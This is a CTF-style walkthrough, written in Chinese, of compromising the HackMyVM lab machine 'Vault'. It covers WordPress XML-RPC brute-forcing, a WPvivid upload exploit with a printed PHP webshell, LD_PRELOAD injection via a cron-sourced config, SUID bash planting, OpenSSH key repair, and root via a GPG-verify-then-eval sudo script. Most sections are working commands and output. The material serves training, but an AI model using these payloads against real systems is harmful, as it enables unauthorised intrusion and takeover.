跳到主要内容

HackMyVM Vault 通关记录|WordPress RCE、LD_PRELOAD 横向移动与 GPG sudo 提权

靶机链接:Vault


0x01 基本信息

名称IP说明
Kali Linux192.168.1.x攻击机
Vault192.168.1.247Debian 10.13 (buster)

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
Web 枚举WordPress 6.9.4、管理员 kaada、XML-RPC 开启锁定认证入口
凭据爆破社区成员名作密码字典,XML-RPC 命中 kaada:wea5e1获得 WordPress 管理员
初始 RCE激活 WPvivid,利用 CVE-2026-1357 上传 webshell获得 www-data 命令执行
横向到 ta0.service_config 可写 + .sys_update source 配置通过 LD_PRELOAD 执行 evil.so
ta0 稳定访问SUID bash 写入 authorized_keys获得 ta0 SSH
Sublarge 凭据RSA Fermat 分解 token,修复损坏 OpenSSH 私钥 magic bytes获得 Sublarge SSH
root 提权sudo secure_audit 导入可控 GPG 公钥并 eval 解密内容以 root 创建 SUID bash 并读取 root flag

0x02 复现结论

2026-07-09 已在新靶机 192.168.1.247 完成从初始访问到 root 的复现:

python3 exploit.py -u http://192.168.1.247 -s id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

/var/tmp/rootbash -p -c 'id; cat /root/root.txt'
# uid=1001(Sublarge) gid=1001(Sublarge) euid=0(root) groups=1001(Sublarge)
# flag{root-e1a0296022405b420f1ac3bf1731b3b8}

0x03 端口扫描

1. RustScan + Nmap 联动

rustscan -a 192.168.1.247 --range 1-65535 --ulimit 5000 -- -sV -sC -O -oN pentest_192.168.1.247_nmap.txt

关键结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.66 (Debian)
MAC Address: 08:00:27:2E:8A:88 (Oracle VirtualBox virtual NIC)
OS: Linux 4.15 - 5.19
Hostname: Vault.lan

2. 发现的攻击面

端口服务版本攻击向量
22SSHOpenSSH 8.4p1密码爆破
80HTTP (WordPress)Apache 2.4.66 + WP 6.9.4CMS漏洞/插件漏洞

0x04 Web 信息收集

1. WordPress 站点信息

# 获取首页信息
curl -s http://192.168.1.247/ | head -100
# 标题: mazesec社区成员 - 加入我们

# 检查 robots.txt
curl -s http://192.168.1.247/robots.txt
# 返回 403 Forbidden

# WordPress 版本识别
curl -s http://192.168.1.247/ | grep generator
# <meta name="generator" content="WordPress 6.9.4" />

站点架构:

  • CMS: WordPress 6.9.4
  • 主题: Twenty Twenty-Five (twentytwentyfive)
  • 语言: 中文 (zh-Hans)

2. 敏感文件发现

# info.php 暴露 (goBuster 发现)
gobuster dir -u http://192.168.1.247 -w /usr/share/wordlists/dirb/common.txt -q
# info.php (Status: 200) ← 关键发现!

# 获取 PHP 配置信息
curl -s http://192.168.1.247/info.php | grep -E 'disable_functions|open_basedir|DOCUMENT_ROOT|Server API'

info.php 泄露的关键信息:

PHP Version: 8.3.19
Server API: Apache 2.0 Handler
DOCUMENT_ROOT: /var/www/wordpress
User/Group: www-data(33)/33
disable_functions: system,passthru,shell_exec,proc_open,pcntl_exec,dl
open_basedir: no value (未设置)
Loaded Modules: ... mod_rewrite ...

3. WPScan 全面扫描

# 用户和插件枚举
wpscan --url http://192.168.1.247 --enumerate u,p,t,tt,cb --detection-mode aggressive \
--random-user-agent -o wpscan_results.txt

# 插件主动探测
wpscan --url http://192.168.1.247 --enumerate ap,at --detection-mode aggressive \
--plugins-detection aggressive --random-user-agent --force -o wpscan_plugins.txt

WPScan 结果:

用户: kaada (ID=1, 管理员)
XML-RPC: 已启用
上传目录: 目录浏览已启用 (/wp-content/uploads/)
WP-Cron: 外部触发已启用
主题: twentytwentyfive, twentytwentyfour, twentytwentythree
插件: Akismet (5.6), WPvivid Backup & Migration (0.9.122), Hello Dolly (1.7.2)

0x05 密码爆破

1. WordPress 用户发现

# REST API 用户枚举
curl -s http://192.168.1.247/wp-json/wp/v2/users
# 返回: 用户 kaada (ID=1), name="kaada", slug="kaada"

# 站点地图确认
curl -s http://192.168.1.247/wp-sitemap-users-1.xml
# 确认只有 kaada 一个用户

# 社区成员页面 HTML 注释中发现更多名字
curl -s http://192.168.1.247/2026/03/26/%e5%8d%9a%e5%ae%a2/ | grep -oP '<!-- \K[A-Za-z0-9@_\-]+(?= -->)' | sort -u
# 输出: 111, Ahiz, bamwue, BoPo, c1trus, cyl-love, DingTom, Eecho, flowerwitch,
# HGBE, HYH, kaada, LingMj, ll104567, Randark, S@Ku_yA, Sublarge, sunset,
# suraxddq, SuuuuRi, ta0, Todd, TriumphK, wackymaker, wea5e1, Yliken, Yolo, yulian

2. XML-RPC 密码爆破 (关键步骤)

# 方法: 使用 wp.getUsersBlogs XML-RPC 方法爆破
# 成功判断: 响应中包含 'isAdmin' 字符串

# 将社区成员名字作为密码列表逐一尝试 (共29个, 按字母序排列)
for pass in "111" "20206675" "Ahiz" "bamwue" "BoPo" "c1trus" "cyl-love" \
"DingTom" "Eecho" "flowerwitch" "HGBE" "HYH" "kaada" "LingMj" \
"ll104567" "Randark" "S@Ku_yA" "Sublarge" "sunset" "suraxddq" \
"SuuuuRi" "ta0" "Todd" "TriumphK" "wackymaker" "wea5e1" \
"Yliken" "Yolo" "yulian"; do
resp=$(curl -s -X POST http://192.168.1.247/xmlrpc.php \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?><methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value><string>kaada</string></value></param>
<param><value><string>$pass</string></value></param></params></methodCall>")
if echo "$resp" | grep -q 'isAdmin'; then
echo "[SUCCESS] Password found: $pass"
break
fi
done

爆破过程:

[-] randark [-] bopo [-] sunset [-] hym
[-] todd [-] dingtom [-] c1trus [-] bamwue
[-] ta0 [-] ll104567 [-] cyl-love [-] sublarge
[-] lingmj [-] suuuuri [-] suraxddq [-] eecho
[-] ahiz [-] flowerwitch [-] wackymaker [+]
[SUCCESS] Password found: wea5e1

3. 爆破结果

用户名密码发现方式
kaadawea5e1XML-RPC 爆破 (密码来自社区成员列表)

4. 登录验证

# 登录 WordPress
curl -s -X POST http://192.168.1.247/wp-login.php \
-d "log=kaada&pwd=wea5e1&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.247%2Fwp-admin%2F&testcookie=1" \
-c wp_cookies.txt -D wp_headers.txt

# 验证
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/ | grep -c '仪表盘'
# 输出: 8 (确认管理员登录成功)

0x06 WordPress Admin → www-data RCE

1. 激活 WPvivid 插件 (关键!)

# 检查插件状态 - 发现所有插件均处于禁用状态!
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/plugins.php | \
grep 'wpvivid-backuprestore'
# class="inactive" - 插件未激活!

# 激活 WPvivid
curl -s -b wp_cookies.txt \
"http://192.168.1.247/wp-admin/plugins.php?action=activate&plugin=wpvivid-backuprestore%2Fwpvivid-backuprestore.php&plugin_status=all&paged=1&s&_wpnonce=51597d51f9"
# → 重定向含 activate=true (激活成功)

_wpnonce 为动态值;51597d51f9 为验证过程中的示例值。

2. CVE-2026-1357 漏洞利用

漏洞信息:

  • CVE: CVE-2026-1357
  • CVSS: 9.8 (Critical)
  • 影响: WPvivid Backup & Migration ≤ 0.9.123
  • 类型: 无需认证的远程代码执行
  • 利用链: 加密失败 → null key AES → 路径遍历写文件

利用步骤:

# 1. 获取 WPvivid AJAX nonce
curl -s -b wp_cookies.txt http://192.168.1.247/wp-admin/admin.php?page=WPvivid | \
grep -oP '"ajax_nonce":"([a-f0-9]+)"'
# nonce: e5a3c04d83

# 2. 生成 WPvivid 密钥 (漏洞利用的前提条件)
curl -s -b wp_cookies.txt -X POST \
"http://192.168.1.247/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=wpvivid_generate_url_ex&expires=24 hour&nonce=e5a3c04d83"
# → {"result":"success","url":"http://192.168.1.247?domain=...&token=..."}

# 3. 使用 Python 脚本发送恶意 payload
# 原理: 构造 null-key AES 加密的 JSON payload
# 包含路径遍历文件名 (../uploads/shell.php)
# 通过 wpvivid_action=send_to_site 端点上传

python3 exploit.py -u http://192.168.1.247 -c # 检测漏洞
python3 exploit.py -u http://192.168.1.247 -s id # 上传 webshell 执行命令

Webshell 详情:

  • URL: http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php
  • 执行方式: ?cmd=command
  • 使用 exec() 函数 (system 被禁用)
  • 权限: www-data

注意: 由于 system 在 disable_functions 中,PoC 默认 PHP payload 会 500,需改成 exec():

<?php if(isset($_GET["cmd"])){$o=[];$r=0;exec($_GET["cmd"]." 2>&1",$o,$r);echo implode("\n",$o);} ?>

0x07 信息收集 (www-data)

1. 系统枚举

# 通过 webshell 执行
curl -s --get --data-urlencode "cmd=id" \
"http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl -s "SHELL?cmd=cat /etc/passwd"
# 发现用户: ta0(1000), Sublarge(1001), Audit(1002)

curl -s "SHELL?cmd=ls -la /home"
# drwx------ Audit - Audit 家目录
# drwx------ Sublarge - Sublarge 家目录
# drwxr-xr-x ta0 - ta0 家目录 (可读)

2. 关键文件发现

curl -s "SHELL?cmd=ls -la /home/ta0"
# -rw------- ta0 ta0 1842 key ← SSH 私钥 (仅 ta0 可读)
# -rw------- ta0 ta0 842 broken.txt ← RSA 挑战
# -rw-r--r-- root root 44 user.txt ← User Flag (全局可读)
# lrwxrwxrwx root root 9 .bash_history -> /dev/null ← 反取证
# lrwxrwxrwx root root 9 .viminfo -> /dev/null ← 反取证

curl -s "SHELL?cmd=cat /home/ta0/user.txt"
# flag{user-4822dfe9f95a3d3e5daf056d1f49cf7c} ← 第1个 Flag!

3. MySQL 凭据发现

curl -s "SHELL?cmd=cat /var/www/wordpress/wp-config.php | grep DB_"
# define( 'DB_NAME', 'wordpress' );
# define( 'DB_USER', 'kaada' );
# define( 'DB_PASSWORD', 'wea5e1' ); ← 数据库密码复用
# define( 'DB_HOST', 'localhost' );

0x08 横向移动:www-data → ta0

1. 发现 .sys_update 定时任务

curl -s "SHELL?cmd=ls -la /var/tmp"
# -rwxr-xr-x ta0 ta0 420 .sys_update ← ta0 所有的可执行脚本
# -rw-r--r-- www-data www-data 35 .service_config ← 我们可写!

.sys_update 脚本内容:

#!/bin/bash
curr_sec=$(date +%-S)
if [ $curr_sec -lt 30 ]; then
diff=$((30 - curr_sec))
read -t $diff <> <(:) > /dev/null 2>&1
fi

CONF="/var/tmp/.service_config"

if [ -f "$CONF" ]; then
CHECK=$(grep -vE "^export [A-Z_]+=[/a-zA-Z0-9._-]+$" "$CONF")
if [ -z "$CHECK" ]; then
. "$CONF" # ← 关键: source 配置文件
fi
fi

exec -a "/usr/sbin/sys-stats-collect" /usr/bin/awk 'BEGIN{print "Job Done"}' > /dev/null 2>&1

漏洞分析:

  • .service_config 由 www-data 可写
  • 正则验证: ^export [A-Z_]+=[/a-zA-Z0-9._-]+$
  • 可注入 export LD_PRELOAD=/var/tmp/evil.so
  • 脚本以 ta0 身份运行 (每分钟 via crontab)
  • LD_PRELOAD 使 evil.so 构造函数获得 ta0 权限

2. 编译恶意共享库 (evil.so)

完整源码:evil.c

# Kali 上交叉编译 (兼容 glibc 2.31)
gcc -shared -fPIC -o evil.so evil.c -static-libgcc
# 仅需 GLIBC_2.2.5, 兼容目标 glibc 2.31
ls -la evil.so
# -rwxrwxr-x kali kali 16192 evil.so

关键设计点:

  • 全部使用 open/read/write/close 等直接 syscall 封装,不调用 system()——当时 Apache 的 exec() 遭遇 "Unable to fork",依赖 fork 的 system() 同样不可用
  • __attribute__((constructor)) 确保在 .sys_update 调用 exec awk 之前执行
  • 在 Kali (glibc 2.42) 交叉编译,指定 -static-libgcc 后仅需 GLIBC_2.2.5
  • .sys_update 每分钟由 ta0 crontab 触发:* * * * * /bin/bash /var/tmp/.sys_update

3. 部署攻击链

# 1. 通过 webshell 辅助脚本分块上传 evil.so 到目标
# webshell_client.py 中 WEBSHELL_URL 指向本轮 webshell:
# http://192.168.1.247/wp-content/uploads/3jip1ach1b1h6tgfr0m1qjr8.php
python3 webshell_client.py --upload evil.so /var/tmp/evil.so
# -rwxr-xr-x 1 www-data www-data 15944 ... /var/tmp/evil.so

# 2. 写入 .service_config
python3 webshell_client.py \
"printf 'export LD_PRELOAD=/var/tmp/evil.so\n' > /var/tmp/.service_config"

# 3. 等待 .sys_update 触发 (每分钟的第30秒)
# ta0 的 crontab: * * * * * /bin/bash /var/tmp/.sys_update
python3 webshell_client.py \
'for i in $(seq 1 80); do
if [ -f /var/tmp/ldpreload_done ]; then
cat /var/tmp/ldpreload_uid /var/tmp/ldpreload_done;
ls -l /var/tmp/bash_ta0 /var/tmp/ta0_key_copy /var/tmp/ta0_user_flag 2>/dev/null;
exit 0;
fi;
sleep 1;
done'

# uid=1000 gid=1000 euid=1000 egid=1000
# LD_PRELOAD payload executed as ta0
# -rwsr-xr-x 1 ta0 ta0 1168776 ... /var/tmp/bash_ta0

4. 获得 ta0 权限

# .sys_update 触发后, evil.so 构造函数执行
# 创建了 SUID bash:
python3 webshell_client.py "ls -la /var/tmp/bash_ta0"
# -rwsr-xr-x 1 ta0 ta0 1168776 /var/tmp/bash_ta0 ← ta0 SUID shell!

# 读取 ta0 的 SSH 私钥
python3 webshell_client.py --download /var/tmp/ta0_key_copy ta0_key_clean.txt
# saved ta0_key_clean.txt (1823 bytes)
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3ByohfdbnhchskcbhdAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
# ...
# (部分内容被隐藏: 这里的信息被删除了)
# -----END RSA PRIVATE KEY-----

5. 写入 SSH 公钥获得稳定 Shell

# 使用 SUID bash 写入 authorized_keys
ssh-keygen -t ed25519 -f /tmp/vault_247_ed25519 -N '' -C vault247
PUB=$(cat /tmp/vault_247_ed25519.pub)
python3 webshell_client.py \
"/var/tmp/bash_ta0 -p -c 'mkdir -p /home/ta0/.ssh && \
echo \"$PUB\" > /home/ta0/.ssh/authorized_keys && \
chmod 700 /home/ta0/.ssh && chmod 600 /home/ta0/.ssh/authorized_keys && id'"
# uid=33(www-data) gid=33(www-data) euid=1000(ta0) groups=33(www-data)
#
# www-data 不能直接写 ta0 authorized_keys;
# 这里成功是因为 /var/tmp/bash_ta0 -p 带来了 euid=1000(ta0)。

# SSH 登录 ta0
ssh -i /tmp/vault_247_ed25519 ta0@192.168.1.247
# uid=1000(ta0) gid=1000(ta0) groups=1000(ta0) ✓

0x09 Sublarge 凭据准备:RSA Token 解密

1. RSA 挑战 (broken.txt)

ssh ta0@192.168.1.247 'cat /home/ta0/broken.txt'

内容翻译:

在一场代号为"暗箭"的安全行动中,MazeSec社区的老大ll104567获取了一台名为Vault的服务器 的一些信息。该服务器由Sublarge管理员管理。你需要获取加密的信息才能得到Sublarge权限。 12138对Sublarge里面的一些信息做了手脚。

N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533 e = 65537 C = 6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047

去计算出来p和q,就可以得到加密的信息了。这个加密的信息可以多次利用!

2. RSA 解密

from Crypto.Util.number import long_to_bytes

N = 34290741416599402000364426406985307108788847346139849276056423456850484785031054576175547387593396760716456841067680666550537736929030835788005715533
e = 65537
C = 6306633972929323441109245980962040907076223927772663682932361844805694754336072683925275888222658229758199381118184386449967084124219498140114920047

# N 为 494 bits, 用 Fermat 因式分解 (p 和 q 非常接近)
import math
a = math.isqrt(N) + 1
while True:
b2 = a * a - N
b = math.isqrt(b2)
if b * b == b2:
p = a + b
q = a - b
break
a += 1

# 结果:
# p = 185177594261831261107671636325914207176977951206972553973305880445352621081
# q = 185177594261831261107671636325914207176977951206972553973305880445352555093

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(C, d, N)
plaintext = long_to_bytes(m)
print(plaintext)
# b'flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}'

解密结果分析:

Token: sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==
└── 16字节密钥 ──┘└─────── Base64 ────────────┘
Base64解码: b0c65f782c49a4c6c45f47cb 0000000e 5375626c61726765405661756c74 01020304
└─── AES/密钥材料 ───┘ └4B长度┘ └── "Sublarge@Vault" ──┘ └版本号┘

格式解读:

  • sMZfeCxJpMbEX0fL — 16 字节密钥材料
  • \x00\x00\x00\x0e — 网络字节序长度 (14 = len("Sublarge@Vault"))
  • Sublarge@Vault — 用户名@主机
  • \x01\x02\x03\x04 — 协议版本/类型标识

这个 token 的用途不是密码认证(su/SSH 均失败),而是用于修复 /home/ta0/key 中被损坏的 SSH 私钥,详见下方 0x10。


0x10 凭据恢复与用户切换:ta0 → Sublarge

本节目标:利用 ta0 用户可读的 /home/ta0/key 和 RSA 解出的 token,恢复出可用的 Sublarge SSH 私钥。

1. 获取损坏的私钥

本次复现从靶机直接读取 /home/ta0/key

SSH_OPTS="-F /dev/null -o LogLevel=ERROR -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o BatchMode=yes"
ssh $SSH_OPTS -i /tmp/vault_247_ed25519 ta0@192.168.1.247 \
'id; hostname; ls -l /home/ta0/key; head -5 /home/ta0/key; tail -5 /home/ta0/key'

本次结果:

uid=1000(ta0) gid=1000(ta0) groups=1000(ta0)
Vault
-rw------- 1 ta0 ta0 1842 Apr 11 11:17 /home/ta0/key
-----BEGIN OPENSSH PRIVATE KEY-----
b3ByohfdbnhchskcbhdAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA8Le3BIFbL/x2Sj6XezgLN74alDkgAAAKA0SMbuYhfOdahinbXffT
5VvP/qBk9llf2jBMBGg0Jy2wMeAexvk8bRY18eEYVZTiES1alZgB//07hwSJWhfkd1l2Oh
ZGMjfOAQTo1ViBSdL9NaPe3Xqdy1398fglh6fsLYtAAism6RJI1KbCyBtTrUOGx5m/Fep2
1llgpyGtny92AENbP3rYkSrAxt8XQQ+zjCKZTsmHhzeVkSEFcAAACBAPJrzN1zxtevT6Fi
fS19n1QHKZXzkM2qx8yLvtoDmcww+LpN3bNBFJM6oAGBaWi+z7wZ795PhrocBaX9JlRuuq
+GplGimONDqrMX468nOJLy61xZuj2L1hi8shWDranUEKwIQi9KHvYgjX4i9xoUfvVbB838
sM*************************** #这里的信息被删除了
-----END RSA PRIVATE KEY-----

异常点:

  • 最后一段 base64 被打码,但开头保留了 sM
  • footer 写成 END RSA PRIVATE KEY,但 header 是 OpenSSH 私钥
  • RSA 解出的 token 同样以 sM 开头:
sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==

修复思路:用 token 替换打码行,再修复 OpenSSH 私钥头部 magic bytes。

2. 修复原理

OpenSSH 私钥开头应为固定 magic bytes:

openssh-key-v1\0

拼接 token 后解码,fix_key.py 检查出的关键字段如下:

实际 magic: 6f 70 72 a2 17 dd 6e 78 5c 86 c9 1c 6e 17 40
期望 magic: 6f 70 65 6e 73 73 68 2d 6b 65 79 2d 76 31 00
字段检查: cipher=none, kdf=none, keytype=ssh-rsa

只有前 15 字节 magic 被破坏,私钥本体未加密且结构完整,直接替换为 openssh-key-v1\0 即可。

3. 运行修复脚本

python3 fix_key.py
chmod 600 sublarge_id_ed25519
ssh-keygen -y -f sublarge_id_ed25519 | head -c 100; echo

本次结果:

[*] Header: -----BEGIN OPENSSH PRIVATE KEY-----
[*] Footer: -----END RSA PRIVATE KEY-----
[*] 发现红acted行: sM*************************** #这里的信息被...
[*] Token 长度: 48 chars
[*] 红acted行之前 base64: 1680 chars
[*] 拼接后 base64: 1728 chars
[*] 解码后: 1294 bytes

─── 解码数据分析 ───
hex dump (前 40 bytes):
0000: 6f 70 72 a2 17 dd 6e 78 5c 86 c9 1c 6e 17 40 00 opr...nx\...n.@.
0010: 00 00 04 6e 6f 6e 65 00 00 00 04 6e 6f 6e 65 00 ...none....none.
0020: 00 00 00 00 00 00 01 00 00 01 17 00 00 00 07 73 ...............s

offset 0-14 magic (实际): 6f7072a217dd6e785c86c91c6e1740 -> b'opr\xa2\x17\xddnx\\\x86\xc9\x1cn\x17@'
offset 0-14 magic (期望): 6f70656e7373682d6b65792d763100 -> b'openssh-key-v1\x00'
magic 匹配: ✗ (需修复)
offset 19 cipher: none
offset 27 kdf: none
public key type: ssh-rsa

─── 修复后验证 ───
magic: b'openssh-key-v1\x00' -> ✓
cipher: none
kdf: none

[+] 密钥已保存: sublarge_id_ed25519
[+] 权限: 0600
[+] 使用: ssh -i sublarge_id_ed25519 Sublarge@192.168.1.247
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwt7cEgVsv/HZKPpd7OAs3vhqUOSAAAAoDRIxu5iF851qGKdtd99PlW8/+oGT2

4. SSH 登录 Sublarge

ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 'id; hostname'

本次结果:

uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge)
Vault

至此完成普通用户切换:

ta0 → Sublarge

常见问题:

现象处理
invalid format重新用 2>/dev/null 导出 /home/ta0/key,再跑 fix_key.py
UNPROTECTED PRIVATE KEY FILEchmod 600 sublarge_id_ed25519
Permission denied (publickey)用户名必须是 Sublarge,注意大小写
token 当密码失败正常现象;token 用于修复 key,不是系统密码

0x11 最终突破:sudo secure_audit Root 提权

本节目标:利用 Sublarge 的 sudo 权限执行 /usr/local/bin/secure_audit,伪造 GPG 签名报告,让脚本以 root 执行命令。

1. sudo 权限与脚本逻辑

ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'id; echo "--- sudo -l ---"; sudo -l; echo "--- secure_audit ---"; sed -n "1,80p" /usr/local/bin/secure_audit'

本次结果:

uid=1001(Sublarge) gid=1001(Sublarge) groups=1001(Sublarge)
--- sudo -l ---
Matching Defaults entries for Sublarge on Vault:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User Sublarge may run the following commands on Vault:
(root) NOPASSWD: /usr/local/bin/secure_audit
--- secure_audit ---
#!/bin/bash
GPG_BIN="/usr/bin/gpg"
PUB_KEY="/home/Sublarge/audit_pub.asc"
REPORT="/var/tmp/report.gpg"
$GPG_BIN --import "$PUB_KEY"
if $GPG_BIN --batch --trust-model always --verify "$REPORT"; then
echo "[+] 签名验证通过,正在执行审计指令..."
CMD=$($GPG_BIN --batch --decrypt "$REPORT" 2>/dev/null)
eval "$CMD"
else
echo "[-] 签名校验失败!"
exit 1
fi

漏洞点:

可控点影响
/home/Sublarge/audit_pub.ascSublarge 可写,可放入自己的 GPG 公钥
/var/tmp/report.gpg普通用户可写,可放入自己签名的报告
--trust-model always只要签名匹配导入的公钥即可通过
eval "$CMD"报告明文会以 root 权限执行

利用链:

生成 GPG 密钥 → 导出公钥到 audit_pub.asc → clearsign payload 到 report.gpg → sudo 触发 eval

2. 生成 GPG 密钥与签名报告

以下命令在 Sublarge shell 中执行:

export GNUPGHOME=/home/Sublarge/.gnupg_vault
rm -rf "$GNUPGHOME"
mkdir -m 700 "$GNUPGHOME"

cat > /tmp/gpg_batch <<'EOF'
Key-Type: RSA
Key-Length: 2048
Name-Real: Audit
Name-Email: audit@vault.local
%no-protection
%commit
EOF

gpg --batch --homedir "$GNUPGHOME" --gen-key /tmp/gpg_batch

gpg --homedir "$GNUPGHOME" --armor --export audit@vault.local \
> /home/Sublarge/audit_pub.asc

cat > /tmp/payload.txt <<'EOF'
cp /bin/bash /var/tmp/rootbash
chmod 4755 /var/tmp/rootbash
cat /root/root.txt > /var/tmp/root_flag_copy
EOF

gpg --homedir "$GNUPGHOME" --batch --yes --clearsign \
--local-user audit@vault.local \
--output /var/tmp/report.gpg /tmp/payload.txt

复查公钥和签名报告:

ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'head -3 /home/Sublarge/audit_pub.asc; head -8 /var/tmp/report.gpg'

本次结果:

-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBGpTBKYBCADDUEOBx1dH1YtNMYleIVu9TVk3nskHsTY3GyOOycC7PFwd8i/Z
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
cp /bin/bash /var/tmp/rootbash
chmod 4755 /var/tmp/rootbash
cat /root/root.txt > /var/tmp/root_flag_copy
-----BEGIN PGP SIGNATURE-----

3. 触发 sudo 提权

ssh $SSH_OPTS -i sublarge_id_ed25519 Sublarge@192.168.1.247 \
'sudo /usr/local/bin/secure_audit 2>&1; ls -l /var/tmp/rootbash /var/tmp/root_flag_copy; /var/tmp/rootbash -p -c "id; cat /root/root.txt"'

本次结果:

gpg: key E02BDC87F5E4C7BB: "Audit <audit@vault.local>" not changed
gpg: Total number processed: 1
gpg: unchanged: 1
gpg: Signature made Sat 11 Jul 2026 11:06:14 PM EDT
gpg: using RSA key FBE35A9DD5F2B9928E852551E02BDC87F5E4C7BB
gpg: issuer "audit@vault.local"
gpg: Good signature from "Audit <audit@vault.local>" [unknown]
gpg: WARNING: Using untrusted key!
[+] 签名验证通过,正在执行审计指令...
-rwsr-xr-x 1 root root 1168776 Jul 11 23:09 /var/tmp/rootbash
-rw-r--r-- 1 root root 94 Jul 11 23:09 /var/tmp/root_flag_copy
uid=1001(Sublarge) gid=1001(Sublarge) euid=0(root) groups=1001(Sublarge)
恭喜你
你想要什么,就可以得到什么
flag{root-e1a0296022405b420f1ac3bf1731b3b8}

not changed 是因为本轮复现前已导入过相同公钥;第一次导入时会显示 imported,不影响利用链判断。关键证据是 Good signature、进入“签名验证通过”分支,以及 /var/tmp/rootbash -p 显示 euid=0(root)

4. 提权排错

现象处理
sudo -l 无 secure_audit确认当前用户是 Sublarge
GPG 生成失败重建 GNUPGHOMErm -rf "$GNUPGHOME" && mkdir -m 700 "$GNUPGHOME"
签名校验失败重新导出 audit_pub.asc 并重新生成 /var/tmp/report.gpg
没有生成 rootbash检查 /tmp/payload.txt/var/tmp/report.gpg 是否为最新
rootbash 运行后不是 root必须加 -p/var/tmp/rootbash -p -c 'id'

0x12 最终成果 (Final Flags)

User Flag

  • 路径: /home/ta0/user.txt
  • 内容: flag{user-4822dfe9f95a3d3e5daf056d1f49cf7c}

RSA Token

  • 来源: /home/ta0/broken.txt RSA 解密
  • 内容: flag{sMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-e1a0296022405b420f1ac3bf1731b3b8}

凭据汇总

类型用户 / 目标来源
WordPress 管理员kaadawea5e1XML-RPC 爆破,密码来自社区成员列表
WordPress 数据库kaadawea5e1/var/www/wordpress/wp-config.php
ta0 SSHta0/tmp/vault_247_ed25519 公钥登录bash_ta0 -p 写入 authorized_keys
RSA TokenSublarge@VaultsMZfeCxJpMbEX0fLAAAADlN1YmxhcmdlQFZhdWx0AQIDBA==Fermat 分解 broken.txt
Sublarge SSHSublarge修复后的 sublarge_id_ed25519token 拼接并修复 OpenSSH magic bytes
root 执行secure_auditsudo /usr/local/bin/secure_auditGPG 验签后 eval "$CMD"

附件下载

文件说明
evil.cLD_PRELOAD payload 源码,用于 ta0 定时任务横向移动
fix_key.py修复损坏 OpenSSH 私钥 magic bytes,生成 Sublarge 登录密钥
rsa_token.pyRSA token 分析 / 解密辅助脚本
webshell_client.pywebshell 命令执行、上传、下载辅助客户端